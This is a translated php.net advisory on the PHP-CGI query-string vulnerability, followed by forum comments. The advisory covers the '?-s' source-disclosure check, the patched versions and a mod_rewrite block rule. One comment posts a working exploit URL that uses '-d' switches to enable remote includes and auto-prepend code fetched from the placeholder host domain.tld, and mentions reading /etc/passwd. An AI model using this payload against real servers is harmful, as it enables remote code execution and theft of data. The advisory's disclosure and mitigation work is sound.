Уязвимость PHP в режиме CGI

Original author: php.net
  • Translation
Существует уязвимость на некоторых настройках основанных на CGI (на Apache + mod_php и Nginx + PHP-FPM не влияет), которая оставалась не замеченной, по крайней мере 8 лет. В 7 разделе спецификации CGI говорится:
Некоторые системы поддерживают метод для передачи [sic] массив строк в CGI скрипт. Используется только в случае «индексных» запросов. Определяется «GET» или «HEAD» HTTP-запрос со строкой поиска URL не содержащей незакодированных "=" символов.

Итак, запросы, которые не содержат знак "=" обрабатываются иначе для некоторых CGI реализаций. Для PHP это означает, что запрос, который содержит ?-s, может слить PHP исходный код страницы, но с запросом ?-s&=1 всё нормально.

Большое количество сайтов запускают PHP или как модуль Apache через mod_php, или с помощью PHP-FPM под Nginx. Ни один из этих способов не уязвим к этому. Прямая работа с CGI тоже не подвержена этой уязвимости.

Если вы используете Apache mod_cgi для запуска PHP, то вы можете быть уязвимы. Чтобы в этом убедиться надо добавить в конец в любого URL ?-s. Если вы видите исходный код, то вы уязвимы. Если открывается ваш сайт, то всё, скорее всего, в порядке.

Чтобы это исправить, обновитесь до PHP 5.3.12 или PHP 5.4.2.

Мы признаем, что с CGI является достаточно устаревшим способом запуска PHP, и может быть невозможным обновить сайты до последней версии PHP. В качестве альтернативы можно настроить веб-сервер, чтобы не допустить такого рода запросы, которые начинаются с "-" и не содержат "=". Добавление этого правила никак не должно повлиять на работу сайта. Для Apache, которые используют mod_rewrite, будет выглядеть следующим образом:

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]


Если пишите свои правила, то не забудьте учесть и urlencoded ?%2ds версию.

Плохая неделя стала ещё хуже. У нас был баг в нашем багтрекере, который переключил приватный флаг отчёта об ошибке на публичный в комментарии к сообщению об ошибке, что сделало эту проблему публичной до того, как мы протестировали решения до нужного нам уровня. Пожалуйста сообщайте о всех проблемах через bugs.php.net.

Для того, чтобы скачать PHP 5.3.12 или PHP 5.4.2 посетите страницу загрузок. Бинарники для Windows доступны по адресу windows.php.net/download/. Существует лог изменений.
Share post
AdBlock has stolen the banner, but banners are not teeth — they will be back

More
Ads

Comments 22

    0
    Хм, как раз есть один такой сайтик работающий через CGI. Протестил, но этот запрос не производит на сайт никакого впечатления. У кого-то воспроизводится?
      +3
      да. открывал содержимое конфига вордпресса этим методом. смотрелось угрожающе, но на практике рандомным поиском по гуглу ни один из выбранных сайтов не был подвержен этой уязвимости
        +3
        Поиграйтесь с сайтами на хостинге РБК. Правда тамошние админы знают и думаю за сутки должны уже были залатать.
      +13
      Это, конечно, просто поэзия, человек писал с вдохновением. Абзац про баг в багтрекере выдавил скупую мужскую слезу…
        +16
        Ага, забавный баг (или бэкдор?), у нас как раз cgi на главной. К счастью, никаких паролей не видно. Помогает переключение на fastcgi.
        Кстати, Фэйсбук показывает вакансию инженера по безопасности, если спросить у него -s.
        0
        Большое количество сайтов запускают PHP или как модуль Apache через mod_php, или с помощью PHP-FPM под Nginx. Ни один из этих способов не уязвим к этом.


        и тут же

        Если вы используете Apache mod_cgi для запуска PHP, то вы можете быть уязвимы.


        это что бы подлить масла в огонь?
          +6
          mod_php vs mod_cgi
            +2
            mod_php != mod_cgi.
              +5
              Я буду обновлять страницу перед отправкой комментария.
              Я буду обновлять страницу перед отправкой комментария…
                +3
                достаточно воспользоваться той классной зеленой штукой справа, правда.
            0
            А PHP FastCGI под IIS этим багом страдает?
              0
              FastCGI не подвержен — там ключей не бывает.
              +1
              Это удаленно выполнение команд, и это весело %)
                +4
                Поддерживаете стиль изложение статьи?
                0
                На моем вордресном блоге на hc.ru появляется исходный код, вчера еще отписал им в суппорт.

                Обратите внимание, что возможно использование и других команд, например или -d
                  +1
                  Причем -d — это ваще жесть — фактически remote exploit через auto_prepend_file.
                    +2
                    /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://domain.tld/code.txt%20-n
                    Прекрасно открывает как удаленные, так и любые доступные локальные файлы вроде /etc/passwd
                  +1
                  А зачем использовать mod_cgi для пхп?
                    0
                    Когда-то давно это был один из самых используемых и, в общем-то рабочих, способов запускать скрипты от имени username, а не от www, например.
                    0
                    за fastCGI можно не переживать?

                    Only users with full accounts can post comments. Log in, please.